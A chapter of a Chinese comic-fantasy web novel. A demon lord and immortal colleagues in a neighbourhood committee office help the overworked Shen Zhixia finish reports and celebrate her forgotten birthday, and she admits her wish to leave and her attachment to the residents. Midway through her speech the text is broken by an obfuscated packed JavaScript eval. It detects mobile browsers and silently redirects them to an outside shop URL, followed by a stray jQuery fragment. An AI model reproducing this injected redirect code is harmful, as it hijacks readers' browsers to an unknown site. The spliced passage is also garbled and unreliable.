那瓣被刘波挑出来的橘子，最后还是酸的。
沈知夏咬下去时，眉心轻轻皱了一下。
刘波看见了。
他立刻把剩下半瓣拿回来，脸色冷得像审出一名叛徒。
“李奶奶果然暗藏杀心。”
沈知夏差点被酸笑：“你别冤枉老人家。”
白衡坐在对面，目睹全程，低头在纸上写了一行。
刘波抬眼：“你写什么？”
白衡平静道：“五栋独居老人信息更新情况。”
沈知夏转头一看。
标题是：
**五栋孤老凡民风险初判。**
沈知夏：“……”
她拿笔划掉：“重写。”
白衡皱眉：“不妥？”
“非常不妥。”沈知夏说，“写‘五栋独居老人信息更新情况’。”
白衡沉默片刻：“气势略弱。”
刘波冷声：“毫无气势。”
刘海在旁边整理表格：“凡界材料不追求气势，追求不被退回。”
这时，街道张主任电话打来。
沈知夏接起电话，刚放松一点的神色又收了回去。
“明天上午前要初稿？”
“好，三日稳区材料和分担机制说明我今晚整理出来。”
电话挂断后，办公室安静了一瞬。
刘巴手里还拿着刚修好的订书机，小声问：“今晚还要写完啊？”
沈知夏笑了一下：“没事，材料不多。”
刘海看着桌上一摞表：“这叫不多？”
沈知夏：“习惯了。”
她说得很平常。
平常到像一张纸又落在她肩上。
不重。
但她肩上本来已经叠了很多张。
接下来两个小时，办公室变成了小型战场。
刘海整理目录。
白衡负责把材料改成人话。
刘巴负责装订，结果把孙姐电视照片夹进了李奶奶健康档案。
刘波主动请缨写材料，第一行就是：
**三栋楼道魔障遗骸清理情况。**
沈知夏：“刘波。”
刘波：“何事？”
“魔障遗骸划掉。”
第二行：
**七栋水妖作乱后续处置。**
沈知夏：“水妖也划掉。”
刘波皱眉：“气势全无。”
白衡把“不半夜连打八个电话”改成了“非紧急情况下减少重复致电”。
刘海把“居民自救意识觉醒”改成了“居民主动参与基础事务”。
刘巴终于把订书机修好，按下去“咔哒”一声，感动得差点站起来鼓掌。
晚上十点半，初稿终于整理出一个样子。
沈知夏检查完最后一处错别字，把文件发给张主任。
屏幕上跳出“发送成功”。
她这才靠回椅背，长长地呼出一口气。
办公室忽然安静下来。
忙的时候，人不会觉得累。
一停下来，疲惫才从四肢百骸慢慢涌上来。
沈知夏伸手去拿手机，想看一眼时间。
屏幕刚亮，日历提醒跳出来。
**今天生日。**
她愣了一下。
很短的一下。
短到如果不是刘波一直看着她，几乎没人会发现。
沈知夏把手机按灭，像是怕被谁看见一样。
刘波问：“什么？”
沈知夏：“没什么。”
刘波看着她。
她顿了顿，像是觉得也没什么好藏的，笑了一下。
“今天我生日。”
办公室里安静下来。
不是那种突然冷场的安静。
更像有人把原本明亮刺眼的白灯，轻轻调暗了一格。
刘巴最先反应过来：“啊？今天？”
沈知夏点头：“嗯，刚想起来。”
刘海握着笔，半天没写。
白衡神情很郑重：“生辰之日，理应庆贺。”
沈知夏笑：“不用，就一个生日。”
刘波皱眉：“怎么会忘？”
沈知夏看了眼桌上那些材料、表格、照片、告知单。
“忙着忙着就忘了。”
这句话说完，办公室里更安静了。
没有王阿姨的大嗓门。
没有业主群的哈哈哈。
没有谁知道，也没有谁来热闹地祝她生日快乐。
只有社区办公室一盏白灯，几杯快凉的水，一袋酸橘子，还有刚发出去的材料。
沈知夏忽然从抽屉里拿出两罐小果酒。
“买了很久，一直没喝。”她说，“今天就当给自己庆祝一下吧。”
刘巴立刻坐直：“我也能喝吗？”
沈知夏：“一点点。”
白衡接过纸杯，神情肃穆得像要祭天。
“愿沈姑娘生辰安康，心愿顺遂。”
他喝了一口。
三秒后，他坐得更直。
五秒后，他缓缓趴在了桌上。
刘巴震惊：“小白没了？”
刘海探了探：“只是醉了。”
刘波冷笑：“仙界执法者，酒量不如门禁。”
刘巴谨慎地抿了一小口。
然后认真举杯：“小沈，生日快乐。以后重活我来，搬米、搬柜子、搬电视、搬尊上都行。”
刘波：“刘巴。”
刘巴：“尊上我错了。”
十分钟后，刘巴靠在椅背上睡着了，手里还攥着订书机，像攥着刚驯服的法器。
刘海只喝了一点，却开始在笔记本上写：
**沈知夏生辰小型庆贺活动纪要。**
第一行：低度战略饮品两罐。
第二行：参与人员若干。
第三行：白衡酒量风险极高。
写到第四行，他的笔停住，头慢慢低下去。
睡着前，他还含糊说了一句：“材料不可用檄文体……”
沈知夏没让他删。
她今天难得不想管那么多。
几巡过后，办公室渐渐安静。
白衡趴在桌上，手边还压着《社区居民公约》。
刘巴靠着椅背睡着，怀里抱着订书机。
刘海坐在角落，笔记本摊在膝上。
最后还清醒的，只剩刘波和沈知夏。
窗外的春和里已经暗下来。
远处楼道灯亮着，风吹过公告栏，纸页轻轻响。
沈知夏端着纸杯，脸颊有一点红。
她看着窗外，忽然说：“我毕业之后就来了这里。”
刘波看向她。
沈知夏笑了一下：“刚来的时候，李奶奶还不肯让我进门，说社区小姑娘都干不长。”
“周叔那时候还没换助听器，我每次跟他说话，都像在楼道里喊山歌。”
“王阿姨第一次见我，说我脸太软，管不住人。后来她在业主群里骂人，我去劝，她还说我胳膊肘往外拐。”
她笑着说这些，声音很轻。
“老赵那时候也不叫老赵，非让我叫赵师傅。后来门禁坏得多了，他自己都不好意思了。”
“孙姐急起来说话冲，但她每次吵完都会偷偷发微信问我，刚才是不是太凶了。”
她低头晃了晃杯子。
“时间久了，这些事就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783181|210133||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
都记住了。”
刘波没有打断。
沈知夏继续说：“我有时候也会烦。真的。”
“半夜电话响的时候，第一反应不是接，是想假装没听见。”
“看到群里有人艾特我，我也会想，怎么又是我。”
“有时候我也想过，要是换个地方，会不会轻松一点。至少不会每个人都觉得，找我最方便。”
她停了一下。
“所以那天我说想走，不是假的。”
刘波手指微微收紧。
沈知夏看向他。
“可真要走，也不是一点舍不得都没有。”
“李奶奶，周叔，王阿姨，老赵，孙姐。”
她顿了顿。
“还有你们。”
这句话落下后，办公室里很静。
静得能听见白衡轻轻的呼吸声，刘巴怀里订书机碰到桌角的轻响，还有沈知夏手机屏幕亮起又暗下去的声音。
沈知夏像是借着酒劲，终于把平时不会说的话说完。
说完以后，她也不再解释。
只是靠在椅背上，眼皮慢慢沉下去。
过了一会儿，她睡着了。
刘波坐在旁边，没有动。
他看了她很久。
然后站起来，把她手里的纸杯拿走。
又把红马甲披到她肩上。
动作很轻。
沈知夏半梦半醒地说：“刘波，别闹……”
刘波低声：“没闹。”
他把桌上的材料收好，把她手机调成静音，又把屏幕放到自己手边。
消息还在跳。
孙姐发来电视照片第二十三张。
不急。
老赵说门禁今晚正常。
不急。
王阿姨在群里发哈哈哈。
不急。
李奶奶发来一条消息：
【小沈啊，今天辛苦了，早点睡。】
刘波看着那条消息，停了很久。
然后他拿过一张便签纸。
字很丑。
**急事我看过。**
**没有火。**
**没有电梯困人。**
**没有老人求助。**
**王阿姨发了十七个哈哈哈，不急。**
写完，他看向睡着的沈知夏。
她今天终于不像那个永远能接电话、写材料、处理所有事的沈知夏。
她只是一个忙到忘记生日的人。
刘波忽然明白，想走和舍不得并不冲突。
就像他从前日日想着回魔界。
可如今若真有人在春和里北门替他开一道回去的门，他也未必会立刻迈进去。
他低声说：“本尊从前以为，留恋是弱点。”
沈知夏睡着，没有回应。
刘波把便签纸翻到背面，又写下一行。
**你想清楚之前，春和里暂由本尊看着。**
第二天清晨，沈知夏醒来时，桌边放着温水，肩上披着红马甲。
她看见那张字很丑的纸条。
看了很久。
然后她笑了。
这笑很轻。
像一个很迟到、但终于有人记得替她留住的生日愿望。
门外传来王阿姨压低却没完全压住的声音：
“小沈还没醒？那别吵她。小刘呢？让小刘出来，今天该他搬米。”
刘波的声音隔着门传来，冷冰冰的。
“为何又是本尊？”
王阿姨理直气壮：“你不是说春和里暂由你看着吗？”
沈知夏坐在办公室里，笑出了声。
春和里的新一天，又开始了。